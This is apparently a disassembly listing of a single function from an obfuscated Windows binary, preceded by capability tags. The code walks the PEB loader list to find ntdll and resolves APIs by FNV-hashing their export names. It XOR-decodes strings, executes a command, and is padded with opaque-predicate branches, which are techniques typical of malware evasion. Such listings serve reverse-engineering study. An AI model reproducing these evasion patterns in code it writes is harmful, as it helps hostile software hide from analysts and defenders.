Function at 0x14019cb50
Capabilities:
Access peb ldr_data
Encode data using xor
Execute command
Get ntdll base address
Hash data using fnv
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x798
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0x700], xmm15
movdqa xmmword [rbp + 0x6f0], xmm14
movdqa xmmword [rbp + 0x6e0], xmm13
movdqa xmmword [rbp + 0x6d0], xmm12
movdqa xmmword [rbp + 0x6c0], xmm11
movdqa xmmword [rbp + 0x6b0], xmm10
movdqa xmmword [rbp + 0x6a0], xmm9
movdqa xmmword [rbp + 0x690], xmm8
movdqa xmmword [rbp + 0x680], xmm7
movdqa xmmword [rbp + 0x670], xmm6
mov qword [rbp + 0x660], 0xfffffffffffffffe
cmp dword [0x1406cddc8], 0xa
jl 0x14019cbf2
mov eax, dword [0x1406cddcc]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019cbf2
nop dword [rax + rax]
jmp 0x14019cbf0
cmp dword [0x1406d3e50], 0xa
jl 0x14019cc12
mov eax, dword [0x1406d3e54]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019cc12
nop dword [rax]
jmp 0x14019cc10
mov eax, dword [0x1406d3d98]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1406d3d9c], 0xa
setl cl
or cl, al
cmp cl, 1
jne 0x14019cc42
mov rax, qword gs:[0x60]
test cl, cl
jne 0x14019cc4d
mov rax, qword gs:[0x60]
jmp 0x14019cc35
cmp dword [0x1406d3e58], 0xa
jl 0x14019cc72
mov ecx, dword [0x1406d3e5c]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x14019cc72
nop word [rax + rax]
jmp 0x14019cc70
mov ecx, dword [0x1406d3da8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete dl
cmp dword [0x1406d3dac], 0xa
mov r8, qword [rax + 0x18]
setl r13b
cmp dword [0x1406d3db8], 0xa
jl 0x14019ccb2
mov eax, dword [0x1406d3dbc]
lea ebx, [rax - 1]
imul ebx, eax
and ebx, 1
je 0x14019ccb2
nop dword [rax]
jmp 0x14019ccb0
or r13b, dl
add r8, 0x10
mov r8, qword [r8]
mov r10, qword [r8 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov r9d, dword [rax + r10 + 0x88]
test r9, r9
je 0x14019ccb9
mov eax, dword [r10 + r9 + 0x18]
mov r14, rax
jmp 0x14019ccf4
mov edx, 0x811c9dc5
mov rax, r14
cmp edx, 0x87d5f568
je 0x14019ce55
sub r14, 1
jb 0x14019ccb9
mov r11d, eax
add r11d, 0xffffffff
mov eax, dword [r10 + r9 + 0x20]
add rax, r10
mov r15d, dword [rax + r11*4]
mov al, byte [r10 + r15]
test al, al
je 0x14019cce0
add r15, r10
mov edx, 0x811c9dc5
jmp 0x14019ce1e
mov esi, edx
and esi, 0x7ab683ed
or esi, 0x1410812
mov eax, edx
and eax, 0x85497c12
xor eax, esi
mov esi, eax
xor esi, 0x50af90c3
xor eax, 0xfebef7ed
and eax, esi
mov ecx, edx
and ecx, 0xae11672e
mov r12d, ebx
and r12d, 0xae11672e
mov esi, eax
not esi
mov edi, ecx
not edi
and esi, edi
and edi, 0x6400fcd7
xor edx, 0x24006406
and edx, ecx
or edx, edi
xor edx, eax
xor edx, 0x6400fcd7
xor ecx, eax
or ecx, esi
not ecx
or ecx, edx
mov eax, ebx
xor eax, 0xac106400
and eax, r12d
mov edx, ebx
and edx, 0x12c8050
mov esi, ebx
and esi, 0x50c21881
lea edi, [rsi + 0x9148106]
xor edi, edx
xor esi, 0xfdd6fc81
mov edx, ebx
and edx, 0xac106400
or edx, 0x52831b03
xor edx, eax
mov eax, edx
xor eax, 0x53af9b53
xor edi, 0xa390278
and edi, eax
or edx, 0x400080
and edx, esi
or edx, edi
mov eax, ebx
and eax, 0x51ee98d1
or eax, 0x2e016708
xor eax, r12d
xor eax, 0x7fefffd9
xor ebx, 0xae11672e
or ebx, eax
mov eax, ebx
xor eax, edx
not eax
not ebx
and ebx, edx
or ebx, eax
xor ebx, ecx
imul edx, ebx, 0x1000193
mov al, byte [r15]
test al, al
je 0x14019cce5
add r15, 1
movsx ebx, al
add al, 0xbf
cmp al, 0x19
ja 0x14019cd30
nop
test r13b, r13b
je 0x14019ce30
mov eax, ebx
and eax, 0xebcba6fa
and ebx, 0x14345925
or ebx, 0xab402048
xor ebx, eax
xor ebx, 0xab402068
jmp 0x14019cd30
mov eax, dword [r10 + r9 + 0x1c]
mov ecx, dword [r10 + r9 + 0x24]
add rax, r10
add rcx, r10
movzx ecx, word [rcx + r11*2]
mov eax, dword [rax + rcx*4]
add rax, r10
call rax
mov rcx, rax
call fcn.1400d9500
mov dword [rbp + 0x590], 0x445253
mov ecx, dword [0x1406d4080]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete dl
cmp dword [0x1406d4084], 0xa
setl cl
setge bl
or cl, dl
and al, bl
test cl, cl
jne 0x14019ceb7
xor edx, edx
nop dword [rax]
test dl, 1
mov edx, ecx
je 0x14019ceb0
test al, al
je 0x14019cec2
nop dword [rax + rax]
jmp 0x14019cec0
lea rsi, [rbp + 0x330]
mov rcx, rsi
call fcn.1400c4c10
lea rdi, [rbp + 0x590]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1400bd4c0
cmp qword [rbp + 0x348], 0x10
jb 0x14019ceff
mov rsi, qword [rbp + 0x330]
lea rcx, [0x1406d3488]
mov rdx, rsi
call fcn.1400e2e50
mov r14d, eax
cmp dword [0x1406cdc94], 0xa
jl 0x14019cf32
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019cf32
nop dword [rax + rax]
jmp 0x14019cf30
lea rcx, [rbp + 0x330]
call fcn.1400bd050
cmp dword [0x1406cdc94], 0xa
jl 0x14019cf62
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019cf62
nop dword [rax + rax]
jmp 0x14019cf60
mov eax, dword [0x1406d3cd0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d3cd4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406d3cd8]
mov edx, dword [0x1406d3cdc]
jne 0x14019cf99
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
jmp 0x14019cfc9
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp edx, 0xa
jl 0x14019cfab
test edi, edi
jne 0x14019d000
cmp dword [0x1406d3ce0], 0xa
jl 0x14019cfc5
mov esi, dword [0x1406d3ce4]
lea ebx, [rsi - 1]
imul ebx, esi
and ebx, 1
jne 0x14019d020
test al, al
jne 0x14019d022
cmp edx, 0xa
jl 0x14019cfd2
test edi, edi
jne 0x14019d010
cmp dword [0x1406d3ce0], 0xa
jl 0x14019cf99
mov ebx, dword [0x1406d3ce4]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x14019cf99
nop dword [rax]
jmp 0x14019cff0
jmp 0x14019d000
jmp 0x14019d010
jmp 0x14019d020
test r14b, r14b
je 0x14019d070
cmp dword [0x1406d4d60], 0xa
jl 0x14019d0ca
mov eax, dword [0x1406d4d64]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019d0ca
movups xmm0, xmmword [0x140264f9a]
movups xmm1, xmmword [0x140264f90]
nop word [rax + rax]
movups xmmword [rbp + 0x59a], xmm0
movaps xmmword [rbp + 0x590], xmm1
jmp 0x14019d060
mov eax, dword [0x1402650f5]
mov dword [rbp + 0x593], eax
mov eax, dword [0x1402650f2]
mov dword [rbp + 0x590], eax
mov eax, dword [0x1406ce408]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406ce40c], 0xa
setl r8b
or r8b, cl
movdqa xmm1, xmmword [0x140265750]
movdqa xmm0, xmmword [str.stji]
mov sil, 0x3f
cmp r8b, 1
jne 0x14019e50b
jmp 0x14019e347
movups xmm0, xmmword [0x140264f9a]
movups xmmword [rbp + 0x59a], xmm0
movdqu xmm0, xmmword [0x140264f90]
movdqa xmmword [rbp + 0x590], xmm0
mov eax, dword [0x1406ce420]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406ce424], 0xa
setl r8b
or r8b, cl
mov ecx, dword [0x1406d46d8]
mov bl, 0x52
mov edx, dword [0x1406d46dc]
cmp r8b, 1
jne 0x14019d587
test bl, bl
je 0x14019d578
lea ebx, [rcx - 1]
imul ebx, ecx
test bl, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
movdqa xmm0, xmmword [0x1402591a0]
movdqa xmm7, xmmword [str._b_t_n_v]
movdqa xmm6, xmmword [0x1402591c0]
movdqa xmm3, xmmword [0x1402591d0]
xor edi, edi
movdqa xmm4, xmmword [str.9999]
movdqa xmm8, xmmword [0x1402662b0]
movdqa xmm12, xmmword [0x140262c20]
movdqa xmm9, xmmword [0x140265be0]
nop word cs:[rax + rax]
nop dword [rax + rax]
movdqa xmmword [rbp + 0x620], xmm0
movdqa xmmword [rbp + 0x630], xmm7
movdqa xmmword [rbp + 0x640], xmm6
movdqa xmmword [rbp + 0x650], xmm3
movdqu xmm15, xmmword [rbp + rdi + 0x590]
movdqa xmmword [rbp + 0x560], xmm15
punpcklbw xmm15, xmmword [0x140262c80]
movdqa xmm2, xmm3
paddd xmm2, xmm4
paddd xmm6, xmm4
movdqa xmm1, xmm6
movdqa xmmword [rbp + 0x4e0], xmm6
movdqa xmm6, xmm7
paddd xmm6, xmm4
movdqa xmmword [rbp + 0x4f0], xmm6
movdqa xmm3, xmm0
paddd xmm3, xmm4
movdqa xmmword [rbp + 0x520], xmm3
pand xmm3, xmm8
movdqa xmm10, xmm9
pand xmm6, xmm8
movdqa xmm4, xmm1
pand xmm4, xmm8
movdqa xmm0, xmm2
pand xmm0, xmm8
movdqa xmm7, xmm12
psubd xmm7, xmmword [rbp + 0x620]
movdqa xmm11, xmm12
psubd xmm11, xmmword [rbp + 0x630]
psubd xmm12, xmmword [rbp + 0x640]
movdqa xmm13, xmmword [0x140262c20]
psubd xmm13, xmmword [rbp + 0x650]
movdqa xmm1, xmm8
pandn xmm1, xmm13
por xmm1, xmm0
movdqa xmm9, xmm8
pandn xmm9, xmm12
por xmm9, xmm4
movdqa xmm4, xmm8
pandn xmm4, xmm11
por xmm4, xmm6
movdqa xmm0, xmm8
pandn xmm0, xmm7
por xmm0, xmm3
movdqa xmmword [rbp + 0x4a0], xmm0
movdqa xmm14, xmm13
pand xmm2, xmm10
movdqa xmm6, xmmword [0x140265bb0]
pand xmm13, xmm6
por xmm13, xmm2
movdqa xmm3, xmm15
punpcklwd xmm3, xmmword [0x140262c80]
pand xmm14, xmm3
pxor xmm13, xmm10
pand xmm13, xmm3
pxor xmm3, xmm8
pxor xmm3, xmm1
pxor xmm1, xmm1
movdqa xmm5, xmm12
movdqa xmm0, xmmword [rbp + 0x4e0]
pand xmm0, xmm10
pand xmm12, xmm6
por xmm12, xmm0
punpckhwd xmm15, xmm1
movdqa xmm0, xmmword [rbp + 0x560]
punpckhbw xmm0, xmm1
pand xmm5, xmm15
pxor xmm12, xmm10
pand xmm12, xmm15
pxor xmm15, xmm8
pxor xmm15, xmm9
movdqa xmm2, xmm11
movdqa xmm1, xmmword [rbp + 0x4f0]
pand xmm1, xmm10
pand xmm11, xmm6
por xmm11, xmm1
movdqa xmm1, xmm0
movdqa xmm9, xmm0
punpcklwd xmm1, xmmword [0x140262c80]
pand xmm2, xmm1
pxor xmm11, xmm10
pand xmm11, xmm1
pxor xmm1, xmm8
pxor xmm1, xmm4
movdqa xmm4, xmm7
movdqa xmm0, xmmword [rbp + 0x520]
pand xmm0, xmm10
pand xmm7, xmm6
por xmm7, xmm0
movdqa xmm0, xmm9
punpckhwd xmm0, xmmword [0x140262c80]
movdqa xmm9, xmm10
movdqa xmm6, xmmword [0x140259880]
pand xmm4, xmm0
pxor xmm7, xmm10
pand xmm7, xmm0
movdqa xmm10, xmm0
pxor xmm10, xmm8
pxor xmm10, xmmword [rbp + 0x4a0]
por xmm14, xmm3
por xmm5, xmm15
por xmm2, xmm1
por xmm4, xmm10
movdqa xmm1, xmm14
pandn xmm1, xmm13
pxor xmm13, xmm14
pxor xmm13, xmm1
movdqa xmm1, xmm5
pandn xmm1, xmm12
pxor xmm12, xmm5
movdqa xmm3, xmmword [rbp + 0x650]
pxor xmm12, xmm1
movdqa xmm1, xmm2
pandn xmm1, xmm11
pxor xmm11, xmm2
pxor xmm11, xmm1
movdqa xmm0, xmm4
pandn xmm0, xmm7
pxor xmm7, xmm4
movdqa xmm4, xmmword [str.9999]
pxor xmm7, xmm0
pand xmm13, xmm6
pand xmm12, xmm6
packuswb xmm13, xmm12
pand xmm11, xmm6
pand xmm7, xmm6
movdqa xmm6, xmmword [rbp + 0x640]
movdqa xmm1, xmmword [0x140259280]
pcmpeqd xmm0, xmm0
packuswb xmm11, xmm7
movdqa xmm7, xmmword [rbp + 0x630]
packuswb xmm13, xmm11
pxor xmm13, xmm0
movdqa xmm0, xmmword [rbp + 0x620]
movdqu xmmword [rbp + rdi + 0x590], xmm13
movdqa xmm12, xmmword [0x140262c20]
lea rax, [rdi + 0x10]
paddd xmm3, xmm1
paddd xmm6, xmm1
paddd xmm7, xmm1
paddd xmm0, xmm1
test rdi, rdi
mov rdi, rax
jne 0x14019d190
xor byte [rbp + 0x5a0], 0x49
xor byte [rbp + 0x5a1], 0x4a
xor byte [rbp + 0x5a2], 0x4b
xor byte [rbp + 0x5a3], 0x4c
xor byte [rbp + 0x5a4], 0x4d
xor byte [rbp + 0x5a5], 0x4e
xor byte [rbp + 0x5a6], 0x4f
xor byte [rbp + 0x5a7], 0x50
xor byte [rbp + 0x5a8], 0x51
xor byte [rbp + 0x5a9], 0x52
test bl, bl
jne 0x14019d578
movaps xmm0, xmmword [rbp + 0x590]
xorps xmm0, xmmword [str.9:_____ABCDEFGH]
movaps xmmword [rbp + 0x590], xmm0
xor byte [rbp + 0x5a0], 0x49
xor byte [rbp + 0x5a1], 0x4a
xor byte [rbp + 0x5a2], 0x4b
xor byte [rbp + 0x5a3], 0x4c
xor byte [rbp + 0x5a4], 0x4d
xor byte [rbp + 0x5a5], 0x4e
xor byte [rbp + 0x5a6], 0x4f
xor byte [rbp + 0x5a7], 0x50
xor byte [rbp + 0x5a8], 0x51
xor byte [rbp + 0x5a9], 0x52
xor edi, edi
movdqa xmm3, xmmword [0x1402591d0]
movdqa xmm6, xmmword [0x1402591c0]
movdqa xmm7, xmmword [str._b_t_n_v]
movdqa xmm0, xmmword [0x1402591a0]
jmp 0x14019d190
test r8b, r8b
jne 0x14019d9ea
mov bl, byte [rbp + 0x5a9]
test bl, bl
je 0x14019d9e3
lea eax, [rcx - 1]
imul eax, ecx
test al, 1
sete al
cmp edx, 0xa
setl bl
or bl, al
movdqa xmm0, xmmword [0x1402591a0]
movdqa xmm7, xmmword [str._b_t_n_v]
movdqa xmm6, xmmword [0x1402591c0]
movdqa xmm3, xmmword [0x1402591d0]
xor edi, edi
movdqa xmm4, xmmword [str.9999]
movdqa xmm8, xmmword [0x1402662b0]
movdqa xmm12, xmmword [0x140262c20]
movdqa xmm9, xmmword [0x140265be0]
nop word [rax + rax]
movdqa xmmword [rbp + 0x620], xmm0
movdqa xmmword [rbp + 0x630], xmm7
movdqa xmmword [rbp + 0x640], xmm6
movdqa xmmword [rbp + 0x650], xmm3
movdqu xmm15, xmmword [rbp + rdi + 0x590]
movdqa xmmword [rbp + 0x560], xmm15
punpcklbw xmm15, xmmword [0x140262c80]
movdqa xmm2, xmm3
paddd xmm2, xmm4
paddd xmm6, xmm4
movdqa xmm1, xmm6
movdqa xmmword [rbp + 0x4e0], xmm6
movdqa xmm6, xmm7
paddd xmm6, xmm4
movdqa xmmword [rbp + 0x4f0], xmm6
movdqa xmm3, xmm0
paddd xmm3, xmm4
movdqa xmmword [rbp + 0x520], xmm3
pand xmm3, xmm8
movdqa xmm10, xmm9
pand xmm6, xmm8
movdqa xmm4, xmm1
pand xmm4, xmm8
movdqa xmm0, xmm2
pand xmm0, xmm8
movdqa xmm7, xmm12
psubd xmm7, xmmword [rbp + 0x620]
movdqa xmm11, xmm12
psubd xmm11, xmmword [rbp + 0x630]
psubd xmm12, xmmword [rbp + 0x640]
movdqa xmm13, xmmword [0x140262c20]
psubd xmm13, xmmword [rbp + 0x650]
movdqa xmm1, xmm8
pandn xmm1, xmm13
por xmm1, xmm0
movdqa xmm9, xmm8
pandn xmm9, xmm12
por xmm9, xmm4
movdqa xmm4, xmm8
pandn xmm4, xmm11
por xmm4, xmm6
movdqa xmm0, xmm8
pandn xmm0, xmm7
por xmm0, xmm3
movdqa xmmword [rbp + 0x4a0], xmm0
movdqa xmm14, xmm13
pand xmm2, xmm10
movdqa xmm6, xmmword [0x140265bb0]
pand xmm13, xmm6
por xmm13, xmm2
movdqa xmm3, xmm15
punpcklwd xmm3, xmmword [0x140262c80]
pand xmm14, xmm3
pxor xmm13, xmm10
pand xmm13, xmm3
pxor xmm3, xmm8
pxor xmm3, xmm1
pxor xmm1, xmm1
movdqa xmm5, xmm12
movdqa xmm0, xmmword [rbp + 0x4e0]
pand xmm0, xmm10
pand xmm12, xmm6
por xmm12, xmm0
punpckhwd xmm15, xmm1
movdqa xmm0, xmmword [rbp + 0x560]
punpckhbw xmm0, xmm1
pand xmm5, xmm15
pxor xmm12, xmm10
pand xmm12, xmm15
pxor xmm15, xmm8
pxor xmm15, xmm9
movdqa xmm2, xmm11
movdqa xmm1, xmmword [rbp + 0x4f0]
pand xmm1, xmm10
pand xmm11, xmm6
por xmm11, xmm1
movdqa xmm1, xmm0
movdqa xmm9, xmm0
punpcklwd xmm1, xmmword [0x140262c80]
pand xmm2, xmm1
pxor xmm11, xmm10
pand xmm11, xmm1
pxor xmm1, xmm8
pxor xmm1, xmm4
movdqa xmm4, xmm7
movdqa xmm0, xmmword [rbp + 0x520]
pand xmm0, xmm10
pand xmm7, xmm6
por xmm7, xmm0
movdqa xmm0, xmm9
punpckhwd xmm0, xmmword [0x140262c80]
movdqa xmm9, xmm10
movdqa xmm6, xmmword [0x140259880]
pand xmm4, xmm0
pxor xmm7, xmm10
pand xmm7, xmm0
movdqa xmm10, xmm0
pxor xmm10, xmm8
pxor xmm10, xmmword [rbp + 0x4a0]
por xmm14, xmm3
por xmm5, xmm15
por xmm2, xmm1
por xmm4, xmm10
movdqa xmm1, xmm14
pandn xmm1, xmm13
pxor xmm13, xmm14
pxor xmm13, xmm1
movdqa xmm1, xmm5
pandn xmm1, xmm12
pxor xmm12, xmm5
movdqa xmm3, xmmword [rbp + 0x650]
pxor xmm12, xmm1
movdqa xmm1, xmm2
pandn xmm1, xmm11
pxor xmm11, xmm2
pxor xmm11, xmm1
movdqa xmm0, xmm4
pandn xmm0, xmm7
pxor xmm7, xmm4
movdqa xmm4, xmmword [str.9999]
pxor xmm7, xmm0
pand xmm13, xmm6
pand xmm12, xmm6
packuswb xmm13, xmm12
pand xmm11, xmm6
pand xmm7, xmm6
movdqa xmm6, xmmword [rbp + 0x640]
movdqa xmm1, xmmword [0x140259280]
pcmpeqd xmm0, xmm0
packuswb xmm11, xmm7
movdqa xmm7, xmmword [rbp + 0x630]
packuswb xmm13, xmm11
pxor xmm13, xmm0
movdqa xmm0, xmmword [rbp + 0x620]
movdqu xmmword [rbp + rdi + 0x590], xmm13
movdqa xmm12, xmmword [0x140262c20]
lea rax, [rdi + 0x10]
paddd xmm3, xmm1
paddd xmm6, xmm1
paddd xmm7, xmm1
paddd xmm0, xmm1
test rdi, rdi
mov rdi, rax
jne 0x14019d5f0
xor byte [rbp + 0x5a0], 0x49
xor byte [rbp + 0x5a1], 0x4a
xor byte [rbp + 0x5a2], 0x4b
xor byte [rbp + 0x5a3], 0x4c
xor byte [rbp + 0x5a4], 0x4d
xor byte [rbp + 0x5a5], 0x4e
xor byte [rbp + 0x5a6], 0x4f
xor byte [rbp + 0x5a7], 0x50
xor byte [rbp + 0x5a8], 0x51
xor byte [rbp + 0x5a9], 0x52
test bl, bl
jne 0x14019d9d8
movaps xmm0, xmmword [rbp + 0x590]
xorps xmm0, xmmword [str.9:_____ABCDEFGH]
movaps xmmword [rbp + 0x590], xmm0
xor byte [rbp + 0x5a0], 0x49
xor byte [rbp + 0x5a1], 0x4a
xor byte [rbp + 0x5a2], 0x4b
xor byte [rbp + 0x5a3], 0x4c
xor byte [rbp + 0x5a4], 0x4d
xor byte [rbp + 0x5a5], 0x4e
xor byte [rbp + 0x5a6], 0x4f
xor byte [rbp + 0x5a7], 0x50
xor byte [rbp + 0x5a8], 0x51
xor byte [rbp + 0x5a9], 0x52
xor edi, edi
movdqa xmm3, xmmword [0x1402591d0]
movdqa xmm6, xmmword [0x1402591c0]
movdqa xmm7, xmmword [str._b_t_n_v]
movdqa xmm0, xmmword [0x1402591a0]
jmp 0x14019d5f0
mov bl, byte [rbp + 0x5a9]
jmp 0x14019d120
xor ebx, ebx
jmp 0x14019d120
lea rsi, [rbp + 0x330]
mov rcx, rsi
call fcn.1400c4c10
lea rdi, [rbp + 0x590]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1400bd4c0
cmp qword [rbp + 0x348], 0x10
jb 0x14019da27
mov rsi, qword [rbp + 0x330]
lea rcx, [0x1406d34c8]
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x14019da87
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019da87
lea rdi, [0x1406d34c8]
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x14019da87
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x14019da57
cmp dword [0x1406cdc94], 0xa
jl 0x14019dab2
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019dab2
nop word cs:[rax + rax]
nop dword [rax + rax]
jmp 0x14019dab0
lea rcx, [rbp + 0x330]
call fcn.1400bd050
cmp dword [0x1406cdc94], 0xa
jl 0x14019dae2
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019dae2
nop dword [rax + rax]
jmp 0x14019dae0
mov eax, dword [0x1406d3cd0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d3cd4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406d3cd8]
mov edx, dword [0x1406d3cdc]
jne 0x14019db19
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jmp 0x14019db49
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x14019db2b
test ebx, ebx
jne 0x14019db6e
cmp dword [0x1406d3ce0], 0xa
jl 0x14019db45
mov edi, dword [0x1406d3ce4]
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
jne 0x14019db72
test al, al
jne 0x14019db74
cmp edx, 0xa
jl 0x14019db52
test ebx, ebx
jne 0x14019db70
cmp dword [0x1406d3ce0], 0xa
jl 0x14019db19
mov ebx, dword [0x1406d3ce4]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x14019db19
jmp 0x14019db6c
jmp 0x14019db6e
jmp 0x14019db70
jmp 0x14019db72
mov al, byte [0x140264fba]
mov byte [rbp + 0x340], al
movdqu xmm0, xmmword [0x140264faa]
movdqa xmmword [rbp + 0x330], xmm0
mov dl, 0x7a
mov esi, 0xffffffc6
xor ecx, ecx
movzx edx, dl
lea ebx, [rcx + 0x39]
mov edi, ebx
and edi, 0x2e7e8384
mov eax, esi
and eax, 0xd1817c7b
or eax, edi
xor eax, 0x7debb6e
and eax, esi
and ebx, 0x29a038ea
or ebx, eax
mov eax, edx
and eax, 0x15
or eax, 0x21a008a2
and edx, 0xffffffea
xor edx, eax
mov eax, edx
xor eax, 0xb7
xor edx, ebx
xor edx, 0xb7
and edx, ebx
not ebx
and ebx, eax
or ebx, edx
mov byte [rbp + rcx + 0x330], bl
cmp rcx, 0x10
je 0x14019dc03
movzx edx, byte [rbp + rcx + 0x331]
add esi, 0xffffffff
add rcx, 1
jmp 0x14019db99
lea rcx, [0x1406d38a8]
lea rdx, [rbp + 0x330]
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x14019dc6e
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019dc6e
lea rsi, [0x1406d38a8]
lea rdi, [rbp + 0x330]
mov rcx, rsi
mov rdx, rdi
call fcn.1401dffd0
mov rcx, rsi
mov rdx, rdi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x14019dc6e
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x14019dc3e
mov al, byte [0x140264fc3]
mov byte [rbp + 0x598], al
mov rax, qword [0x140264fbb]
mov qword [rbp + 0x590], rax
mov eax, dword [0x1406ce578]
mov ecx, dword [0x1406ce57c]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
mov dword [rbp + 0x640], edx
mov dword [rbp + 0x630], ecx
cmp ecx, 0xa
jl 0x14019dcdd
cmp dword [rbp + 0x640], 0
je 0x14019dcdd
mov r9b, 0x58
mov r10b, 0x53
mov r13b, 0x56
mov byte [rbp + 0x650], 0x5e
mov r12b, 0x52
mov dl, 0x4a
mov r8b, reloc.WS2_32.dll_WSASetLastError
mov r11b, reloc.WLDAP32.dll_Ordinal_46
mov r14b, 0x41
mov r15b, 0x41
jmp 0x14019ded0
mov r14b, 0x41
mov r11b, reloc.WLDAP32.dll_Ordinal_46
mov r8b, reloc.WS2_32.dll_WSASetLastError
mov r15b, 0x4a
mov r12b, 0x52
mov dl, 0x5e
mov r13b, 0x56
mov r10b, 0x53
mov r9b, 0x58
jmp 0x14019ddb5
xor r10b, 0x3a
mov byte [rbp + 0x591], r10b
mov eax, r13d
and al, 0x29
mov ecx, r13d
and cl, 0x12
or cl, 1
xor cl, al
and r13b, 0xc4
or r13b, cl
xor r13b, 0x3a
mov byte [rbp + 0x592], r13b
mov al, byte [rbp + 0x650]
xor al, 0x3c
mov byte [rbp + 0x650], al
mov byte [rbp + 0x593], al
mov eax, r12d
and al, 0x29
mov ecx, r12d
and cl, 0x14
or cl, 1
xor cl, al
and r12b, 0xc2
or r12b, cl
xor r12b, 0x3c
mov byte [rbp + 0x594], r12b
xor dl, 0x3e
mov byte [rbp + 0x595], dl
mov eax, r8d
and al, 0x29
mov ecx, r8d
and cl, 0x16
or cl, 1
xor cl, al
and r8b, 0xc0
or r8b, cl
xor r8b, 0x3e
mov byte [rbp + 0x596], r8b
xor r11b, 0x40
mov byte [rbp + 0x597], r11b
xor r15b, 0x41
mov byte [rbp + 0x598], r15b
mov r14d, r15d
test r15b, r15b
je 0x14019debb
mov r15d, edx
mov dl, byte [rbp + 0x650]
mov eax, dword [0x1406d42a8]
lea esi, [rax - 1]
imul esi, eax
and esi, 1
sete cl
cmp dword [0x1406d42ac], 0xa
setl al
setge bl
or al, cl
and sil, bl
test al, al
jne 0x14019dde7
xor edi, edi
test dil, 1
mov edi, eax
je 0x14019dddf
mov eax, r9d
and al, 0x29
mov ecx, r9d
and cl, 0x10
or cl, 1
xor cl, al
and r9b, 0xc6
or r9b, cl
xor r9b, 0x38
mov byte [rbp + 0x590], r9b
test sil, sil
jne 0x14019deb9
xor r10b, 0x3a
mov byte [rbp + 0x591], r10b
mov eax, r13d
and al, 0x29
mov ecx, r13d
and cl, 0x12
or cl, 1
xor cl, al
and r13b, 0xc4
or r13b, cl
xor r13b, 0x3a
mov byte [rbp + 0x592], r13b
xor dl, 0x3c
mov byte [rbp + 0x650], dl
mov byte [rbp + 0x593], dl
mov eax, r12d
and al, 0x29
mov ecx, r12d
and cl, 0x14
or cl, 1
xor cl, al
and r12b, 0xc2
or r12b, cl
xor r12b, 0x3c
mov byte [rbp + 0x594], r12b
mov edx, r15d
xor dl, 0x3e
mov byte [rbp + 0x595], dl
mov eax, r8d
and al, 0x29
mov ecx, r8d
and cl, 0x16
or cl, 1
xor cl, al
and r8b, 0xc0
or r8b, cl
xor r8b, 0x3e
mov byte [rbp + 0x596], r8b
xor r11b, 0x40
mov byte [rbp + 0x597], r11b
xor r14b, 0x41
mov byte [rbp + 0x598], r14b
mov r15d, r14d
jmp 0x14019debe
jmp 0x14019deb9
xor r15d, r15d
cmp dword [rbp + 0x630], 0xa
jl 0x14019df3c
cmp dword [rbp + 0x640], 0
je 0x14019df3c
test r15b, r15b
je 0x14019df34
mov eax, dword [0x1406d42a8]
lea esi, [rax - 1]
imul esi, eax
and esi, 1
sete cl
cmp dword [0x1406d42ac], 0xa
setl al
setge bl
or al, cl
and sil, bl
test al, al
jne 0x14019df07
xor edi, edi
test dil, 1
mov edi, eax
je 0x14019deff
mov eax, r9d
and al, 0x29
mov ecx, r9d
and cl, 0x10
or cl, 1
xor cl, al
and r9b, 0xc6
or r9b, cl
xor r9b, 0x38
mov byte [rbp + 0x590], r9b
test sil, sil
je 0x14019dcfc
jmp 0x14019df32
